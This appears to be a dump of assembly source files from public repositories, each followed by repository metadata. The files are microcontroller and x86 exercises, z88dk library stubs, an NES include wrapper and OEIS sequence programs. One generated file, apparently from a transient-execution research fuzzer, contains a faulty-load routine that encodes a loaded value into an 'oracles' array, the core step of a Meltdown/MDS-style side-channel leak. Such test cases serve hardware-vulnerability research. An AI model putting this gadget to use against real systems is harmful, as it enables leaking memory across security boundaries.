;********************************************************************** ; This file is a basic code template for assembly code generation * ; on the PIC16F887. This file contains the basic code * ; building blocks to build upon. * ; * ; Refer to the MPASM User's Guide for additional information on * ; features of the assembler (Document DS33014). * ; * ; Refer to the respective PIC data sheet for additional * ; information on the instruction set. * ; * ;********************************************************************** ; * ; Filename: xxx.asm * ; Date: * ; File Version: * ; * ; Author: * ; Company: * ; * ; * ;********************************************************************** ; * ; Files Required: P16F887.INC * ; * ;********************************************************************** ; * ; Notes: * ; * ;********************************************************************** list p=16f887 ; list directive to define processor #include <p16f887.inc> ; processor specific variable definitions ; '__CONFIG' directive is used to embed configuration data within .asm file. ; The labels following the directive are located in the respective .inc file. ; See respective data sheet for additional information on configuration word. __CONFIG _CONFIG1, _LVP_OFF & _FCMEN_ON & _IESO_OFF & _BOR_OFF & _CPD_OFF & _CP_OFF & _MCLRE_ON & _PWRTE_ON & _WDT_OFF & _INTRC_OSC_NOCLKOUT __CONFIG _CONFIG2, _WRT_OFF & _BOR21V ;***** VARIABLE DEFINITIONS w_temp EQU 0x7D ; variable used for context saving status_temp EQU 0x7E ; variable used for context saving pclath_temp EQU 0x7F ; variable used for context saving AUX EQU 0X0C AUX2 EQU 0X0D AUX3 EQU 0X40 ;********************************************************************** ORG 0x000 ; processor reset vector nop goto main ; go to beginning of program goto CONFIG_PTOS ;Configuracion de puertos CONFIG_PTOS: bsf STATUS,RP0 ;Cambio al BANk_1 movlw 0xFF ;Configurar movwf TRISA ;puerto A como entrada movlw 0x00 ;Configurar el movwf TRISB ;puerto B como salida bsf STATUS,RP1 ;Cambiar al bank_3 clrf ANSEL ;configurar el PORT A como digital clrf ANSELH ;configurar el PORT B como digital bcf STATUS,RP0 ;cambio al BANK_0 bcf STATUS,RP1 main ; remaining code goes here ; Write your code here MOVLW .201 ANDLW .153 MOVWF AUX ;aqui es el resultado de 201 and 153 CLRW MOVLW .171 XORLW .148 MOVWF AUX2 CLRW MOVF AUX,0 IORWF AUX2,0 MOVWF AUX3 COMF AUX3,0 IORWF PORTA,0 MOVWF PORTB goto main END ; directive 'end of program'
39.465347
144
0.387607
ddb35c59383678cfdc8f2302c237e88df324dcb0
187
asm
Assembly
libsrc/_DEVELOPMENT/l/z80/integer/l_incu_de.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/integer/l_incu_de.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/integer/l_incu_de.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
SECTION code_clib SECTION code_l PUBLIC l_incu_de l_incu_de: ; uses : af, de ; carry set on overflow inc de ld a,d or e ret nz ld de,$ffff scf ret
8.904762
26
0.588235
8cf46402bd7516ae28e9bd07a0aee456a7c00370
2,140
asm
Assembly
x86_64/functions.asm
elfsternberg/asmtutorials
a8b5a39290235bd0e5c1e13d5608e9ed4fb1f83f
[ "MIT" ]
4
2021-01-17T13:16:17.000Z
2022-01-04T08:09:53.000Z
x86_64/functions.asm
elfsternberg/asmtutorials
a8b5a39290235bd0e5c1e13d5608e9ed4fb1f83f
[ "MIT" ]
null
null
null
x86_64/functions.asm
elfsternberg/asmtutorials
a8b5a39290235bd0e5c1e13d5608e9ed4fb1f83f
[ "MIT" ]
2
2020-01-16T00:43:02.000Z
2021-01-25T08:08:44.000Z
;; This is an includes file. It doesn't have its own compilation ;; capabilities. There is no namespacing in assembly language; ;; try not to use these names in your own code. ;; sys/unistd_32.h %define SYS_write 1 %define SYS_exit 60 ;; unistd.h %define STDOUT 1 ;; A single null-terminated line feed. section .data _lf db 0ah, 00h section .text ;; strlen() function. Takes rdx as an argument - the pointer to ;; the initial string. Returns rdx as the result - the length of ;; the string. strlen: push rsi mov rsi, rdx strlen_next: cmp byte [rdx], 0 jz strlen_done inc rdx jmp strlen_next strlen_done: sub rdx, rsi pop rsi ret ;; puts() function - puts a string to the console. Takes RSI as ;; its only argument - the pointer to the beginning of the string. puts: push rcx ; syscall uses RCX itself push rdx ; RDX (data) is used as the length of the message push rax ; RAX is the instruction to WRITE push rdi ; RDI (destination) is used as an instruction to WRITE mov rdx, rsi call strlen ;; Because I chose to use RDX as the target for strlen, I don't need to ;; do the pop/push dance as I did in the 32-bit version. mov rdi, STDOUT ; using STDOUT (see definition above) mov rax, SYS_write ; Using WRITE in 32-bit mode? syscall ;; Likewise, because I chose RSI as the Source (pointer) to my ;; message, it remains unchanged during the lifetime of this ;; routine (unless there are any bugs in strlen) and I don't ;; have to restore it either. pop rdi pop rax pop rdx pop rcx ret putslf: call puts ; Print the string push rsi ; Preserve this register mov rsi, _lf call puts pop rsi ret ;; exit(). Straight from the original. exit_program: mov rdi, 0 mov rax, SYS_exit syscall
26.419753
86
0.583645
5d78be2df4dd8d68fc7ab67768fa2e5cb212ed76
489
asm
Assembly
other/nes/wrapper.asm
CaptainDreamcast/prism
a6b0f5c3e86d7b37d14c9139862775e7768998ce
[ "MIT" ]
7
2018-04-08T15:01:59.000Z
2022-02-27T12:13:19.000Z
other/nes/wrapper.asm
CaptainDreamcast/prism
a6b0f5c3e86d7b37d14c9139862775e7768998ce
[ "MIT" ]
1
2017-04-23T15:27:37.000Z
2017-04-24T05:38:18.000Z
other/nes/wrapper.asm
CaptainDreamcast/libtari
a6b0f5c3e86d7b37d14c9139862775e7768998ce
[ "MIT" ]
1
2020-04-24T04:21:00.000Z
2020-04-24T04:21:00.000Z
.inesprg 1 ; 1x 16KB PRG code .ineschr 1 ; 1x 8KB CHR data .inesmap 0 ; mapper 0 = NROM, no bank swapping .inesmir 1 ; background mirroring .include "../addons/prism/other/nes/variables.asm" .include "variables.asm" .include "../addons/prism/other/nes/logic.asm" .include "../addons/prism/other/nes/util.asm" .include "../addons/prism/other/nes/collision.asm" .include "../addons/prism/other/nes/input.asm" .include "../addons/prism/other/nes/ppu.asm"
34.928571
52
0.672802
67e71405a65a5719fbe150dc05632c2d547d1d11
175
asm
Assembly
libsrc/fcntl/dummy/close.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/dummy/close.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/dummy/close.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; Dummy function to keep rest of libs happy ; ; $Id: close.asm,v 1.5 2016/03/06 21:39:54 dom Exp $ ; SECTION code_clib PUBLIC close PUBLIC _close .close ._close ret
12.5
52
0.685714
db9a304327e36b9b5910bb046215aed434875c6f
5,452
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1968.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1968.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1968.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x17236, %rdx cmp %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%rdx) nop nop dec %rdx lea addresses_WC_ht+0xff3a, %rdi nop inc %r9 mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%rdi) nop cmp %rsi, %rsi lea addresses_normal_ht+0x3d36, %r15 nop nop nop nop sub $22301, %r13 mov (%r15), %rcx nop nop nop nop nop cmp %r9, %r9 lea addresses_normal_ht+0x1236, %r13 inc %rcx mov $0x6162636465666768, %rdx movq %rdx, %xmm3 movups %xmm3, (%r13) dec %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_UC+0x1ceb6, %rsi lea addresses_D+0x11a36, %rdi nop nop nop nop nop and %r10, %r10 mov $99, %rcx rep movsb nop nop nop nop and $8097, %rbp // REPMOV lea addresses_UC+0x17c36, %rsi lea addresses_D+0x139e6, %rdi nop nop nop nop nop cmp %r12, %r12 mov $65, %rcx rep movsb nop sub %rdi, %rdi // Faulty Load lea addresses_WT+0x2a36, %r10 nop nop add %r8, %r8 mov (%r10), %esi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
41.618321
2,999
0.659941
eddc604cf4a03a683527712ec2f4562592085422
651
asm
Assembly
oeis/074/A074580.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/074/A074580.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/074/A074580.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A074580: a(n) = 7^n + 8^n + 9^n. ; Submitted by Christian Krause ; 3,24,194,1584,13058,108624,911234,7703664,65588738,561991824,4843001474,41948320944,364990300418,3188510652624,27953062038914,245823065693424,2167728096132098,19161612027339024,169737447404391554,1506365800934221104,13390379229961387778,119200907032450419024,1062467699527032427394,9480602677351287663984,84680390791122721491458,757017988174473715380624,6772700824467978346914434,60633301004632852319942064,543150432677739343969787138,4868091107912730549010831824,43651637654792276047281420674 mov $3,$0 seq $0,74525 ; a(n) = 1^n + 8^n + 9^n. sub $0,1 mov $2,7 pow $2,$3 add $0,$2
59.181818
495
0.83871
409a6aed4339c39fdd2e8683ba267485a279ca96
393
asm
Assembly
programs/oeis/335/A335821.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/335/A335821.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/335/A335821.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A335821: Triangular array T(n, k) = n^2 - k^2, read by rows. ; 0,1,0,4,3,0,9,8,5,0,16,15,12,7,0,25,24,21,16,9,0,36,35,32,27,20,11,0,49,48,45,40,33,24,13,0,64,63,60,55,48,39,28,15,0,81,80,77,72,65,56,45,32,17,0,100,99,96,91,84,75,64,51,36,19,0,121,120,117,112,105,96,85,72,57,40,21,0 mov $1,$0 cal $0,92283 ; Triangular array read by rows: T(n,k)=n+k^2, 1<=k<=n. mul $1,2 sub $1,$0 add $1,2
43.666667
221
0.620865
c791061fc5144db9c845e01d3c2f974c8e902060
460
asm
Assembly
programs/oeis/337/A337313.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/337/A337313.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/337/A337313.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A337313: a(n) is the number of n-digit positive integers with exactly three distinct base 10 digits. ; 0,0,648,3888,16200,58320,195048,625968,1960200,6045840,18468648,56068848,169533000,511252560,1539065448,4627812528,13904670600,41756478480,125354369448,376232977008,1129038669000,3387795483600,10164745404648,30496954122288,91496298184200 mov $1,1 mov $2,1 lpb $0 sub $0,1 mul $1,3 mul $2,2 add $1,$2 add $2,3 lpe sub $1,$2 div $1,12 mul $1,648
28.75
239
0.767391
1f5bf1909c05a18d785d73c47ccb4889ee4431fd
142
asm
Assembly
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/etc/pers.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/etc/pers.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/etc/pers.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: pers.asm Type: file Size: 13305 Last-Modified: '1991-07-01T06:10:41Z' SHA-1: 230DF3C498F73B53EF709A4D6494995F7E96A35B Description: null
20.285714
47
0.809859
1750f0f56cc798e6de6a58ff9805429697dcc320
548
asm
Assembly
programs/oeis/067/A067080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/067/A067080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/067/A067080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A067080: If n = ab...def in decimal notation then the left digitorial function Ld(n) = ab...def*ab...de*ab...d*...*ab*a. ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,40,42,44,46,48,50,52,54,56,58,90,93,96,99,102,105,108,111,114,117,160,164,168,172,176,180,184,188,192,196,250,255,260,265,270,275,280,285,290,295,360,366,372,378,384,390,396,402,408,414,490,497,504,511,518,525,532,539,546,553,640,648,656,664,672,680,688,696,704,712,810,819,828,837,846,855,864,873,882,891,1000 add $0,1 mov $1,1 lpb $0 mul $1,$0 div $0,10 lpe mov $0,$1
49.818182
360
0.677007
af0fac5d16016057520d51020bbcf079a81dc167
1,242
asm
Assembly
Driver/Printer/PrintCom/printcomToshibaGraphics.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/PrintCom/printcomToshibaGraphics.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/PrintCom/printcomToshibaGraphics.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: early Epson 24-pin print drivers FILE: printcomToshibaGraphics.asm AUTHOR: Dave Durran 1 March 1990 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 3/1/90 Initial revision DESCRIPTION: This file contains most of the code to implement the Toshiba 24-pin print driver graphics mode support $Id: printcomToshibaGraphics.asm,v 1.1 97/04/18 11:50:55 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include Graphics/graphicsCommon.asm ;common graphic print routines include Graphics/graphics2ResHigh.asm ;PrPrintABand routine. include Graphics/graphicsCitohCommon.asm ;common Citoh graphic rout. include Graphics/graphicsPrintSwath48.asm ;PrintSwath routine. include Graphics/graphicsHi24IntX.asm ;Hi res routine, include Graphics/Rotate/rotate2pass24Into4.asm ;and rotate routine include Graphics/graphicsMed24.asm ;Medium res. routine, include Graphics/Rotate/rotate24Into4.asm ;and rotate routine.
31.846154
79
0.6562
f47569d46c325c129164b3dcd45d908885df9bc1
481
asm
Assembly
oeis/186/A186293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/186/A186293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/186/A186293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A186293: (A007519(n)-1)/2. ; Submitted by Jon Maiga ; 8,20,36,44,48,56,68,96,116,120,128,140,156,168,176,200,204,216,224,228,260,284,288,296,300,308,320,336,380,384,404,428,440,464,468,476,488,504,516,524,548,564,576,596,600,608 mov $2,36 mul $2,$0 mov $4,16 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,8 lpe mov $0,$4 sub $0,16 div $0,2 add $0,8
20.913043
176
0.634096
21127b8afbf600fffc24579a2f83f3c2ff4f2501
1,864
asm
Assembly
Lab 2 Inputting/Lab2-2.X/main.asm
johannesunana/Microprocessor-Lab
3fac76a70f6039b5e01669f0015670f2a553edbe
[ "MIT" ]
null
null
null
Lab 2 Inputting/Lab2-2.X/main.asm
johannesunana/Microprocessor-Lab
3fac76a70f6039b5e01669f0015670f2a553edbe
[ "MIT" ]
null
null
null
Lab 2 Inputting/Lab2-2.X/main.asm
johannesunana/Microprocessor-Lab
3fac76a70f6039b5e01669f0015670f2a553edbe
[ "MIT" ]
null
null
null
#include "p16f84a.inc" ; CONFIG ; __config 0x3FFA __CONFIG _FOSC_HS & _WDTE_OFF & _PWRTE_OFF & _CP_OFF cblock 0x0C DELAY1 DELAY2 endc org 0x00 start bsf STATUS, RP0 bsf TRISA, TRISA0 clrw movlw 0x00 andwf TRISB bcf STATUS, RP0 andwf PORTB pattern1 clrw movlw 0x55 ;0b'0101 0101' movwf PORTB loop1 movlw 0xAA movwf DELAY2 call delay movlw 0xAA movwf DELAY2 rrf PORTB, f ;move bits to the right btfsc PORTA, RA0 goto loop1 goto pattern2 pattern2 clrw movlw 0x01 ;0b'0000 0001' movwf PORTB loop2 movlw 0xAA movwf DELAY2 call delay movlw 0xAA movwf DELAY2 rlf PORTB, f ;move bits to the left call delay btfsc PORTA, RA0 goto loop2 goto pattern3 pattern3 clrw movlw 0xF0 ;0b'1111 0000' movwf PORTB loop3 movlw 0xAA movwf DELAY2 call delay movlw 0xAA movwf DELAY2 comf PORTB, f ;complement PORTB btfsc PORTA, RA0 goto loop3 goto pattern4 pattern4 clrw movlw 0xCC ;0b'1100 1100' movwf PORTB loop4 movlw 0xAA movwf DELAY2 call delay movlw 0xAA movwf DELAY2 rrf PORTB, f ;move bits to the right btfsc PORTA, RA0 goto loop4 goto pattern1 delay loop decfsz DELAY1, f goto loop decfsz DELAY2 goto loop return end
19.829787
55
0.470494
0131a811c7a6d33bb564d026a4ea15633829580d
412
asm
Assembly
libsrc/adt/queue/adt_QueueFront.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/adt/queue/adt_QueueFront.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/adt/queue/adt_QueueFront.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *adt_QueueFront(struct adt_Queue *q) ; 09.2005 aralbrec SECTION code_clib PUBLIC adt_QueueFront PUBLIC _adt_QueueFront ; enter: HL = struct adt_Queue * ; exit : HL = peek at top item or 0 and carry reset if queue empty .adt_QueueFront ._adt_QueueFront inc hl inc hl ld a,(hl) inc hl ld h,(hl) ld l,a or h ret z ld a,(hl) inc hl ld h,(hl) ld l,a scf ret
13.290323
66
0.640777
a0961769a99bffb794cd097ad99ea92eb1058501
305
asm
Assembly
oeis/040/A040002.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040002.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040002.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040002: Continued fraction for sqrt(5). ; Submitted by Christian Krause ; 2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4 min $0,1 add $0,1 mul $0,2
38.125
201
0.567213
8994e74c1411b9a1d1f98bd701d4ce80aef7f4a0
520
asm
Assembly
programs/oeis/082/A082542.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082542.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082542.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082542: a(n) = prime(n) + 2 - (prime(n) mod 4). ; 2,2,6,6,10,14,18,18,22,30,30,38,42,42,46,54,58,62,66,70,74,78,82,90,98,102,102,106,110,114,126,130,138,138,150,150,158,162,166,174,178,182,190,194,198,198,210,222,226,230,234,238,242,250,258,262,270,270,278,282,282,294,306,310,314,318,330,338,346,350,354,358,366,374,378,382,390,398,402,410,418,422,430,434,438,442,450,458,462,462,466,478,486,490,498,502,510,522,522,542 trn $0,1 seq $0,168565 ; Let p = prime(n); then a(n) = p + (p-1)/2. div $0,6 mul $0,4 add $0,2
57.777778
372
0.667308
debf879120fdcf3e335e0a3ff909117efcff52e6
337
asm
Assembly
libsrc/_DEVELOPMENT/target/scz180/device/csio/sccz80/csio_sd_clock.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/scz180/device/csio/sccz80/csio_sd_clock.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/scz180/device/csio/sccz80/csio_sd_clock.asm
Frodevan/z88dk
